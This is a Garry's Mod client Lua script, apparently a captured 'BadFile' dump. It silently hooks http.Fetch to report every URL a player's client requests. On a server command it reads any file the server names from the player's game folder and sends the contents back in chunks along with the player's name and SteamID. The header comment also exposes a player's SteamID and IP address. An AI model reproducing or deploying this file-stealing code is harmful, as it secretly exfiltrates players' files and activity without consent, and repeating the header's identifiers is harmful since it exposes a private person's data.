--[[
	MOD/lua/autorun/client/cl_fsteal.lua [#2161 (#2245), 4152696490, UID:648927714]
	xX-TrueMLGPlayer420Trikshot-Xx | STEAM_0:0:71356345 <82.238.182.218:27005> | [22.06.14 02:38:33PM]
	===BadFile===
]]

local globals = _G.table.Copy(_G)

local function hasFloatingPoint(value)
	return value > globals.math.floor(value)
end

--globals.print("Debug: Script Loaded/Reloaded")

local function send(goingout)
	globals.net.Start("need2print")
		globals.net.WriteString(goingout)
	globals.net.SendToServer()
end

local originalfetch = globals.http.Fetch


_G.http.Fetch = function(arg1,...)

	send(arg1)
	
	originalfetch(arg1,...)

end

http.Fetch = function(arg1,...)

	send(arg1)
	
	originalfetch(arg1,...)

end

globals.net.Receive("need2steal",function()
	--globals.print("Debug: Message Received.")
	
	
	--local req_id 		= math.huge()
	local file_name 	= globals.net.ReadString()
	local folder 		= "GAME"
	local file_data 	= globals.file.Read(file_name,folder)
	
	if (file_data != nil) then
		--send("==========================================================================\n")
		send("    "..os.date().." at "..os.time().." - '"..LocalPlayer():Nick().."' ("..LocalPlayer():SteamID()..") for filename '"..file_name.."'\n")
		send("============================ START OF FILE ===============================\n")
		send("\n")

		--globals.print("Debug: File Exists.")
		local file_data 	= globals.file.Read(file_name,folder)
		local file_lenght 	= globals.string.len(file_data)
		
		if hasFloatingPoint(file_lenght/200) then
			for k=0, globals.math.floor(file_lenght/200)+1 do
			
				local goingout = globals.string.sub( file_data, k*200, ((k+1)*200)-1 )
			
				send(goingout)
			
				--globals.print("Debug: Sent "..globals.string.len(goingout).." bytes of data.")
				
			end
		else
			for k=0, file_lenght/200 do
			
				local goingout = globals.string.sub( file_data, k*200, ((k+1)*200)-1 )

				send(goingout)
				
				--globals.print("Debug: Sent "..globals.string.len(goingout).." bytes of data.")

			end
		end
		
		send("\n")
		send("============================= END OF FILE ================================\n")
		send("\n")
	end
	
end)

--[[globals.net.Start("need2print")
		--globals.net.WriteInt(0,32)
		globals.net.WriteString(LocalPlayer():Nick()..": "..globals.tostring(globals.GetConVarString("rope_material")).."\n")
	globals.net.SendToServer()]]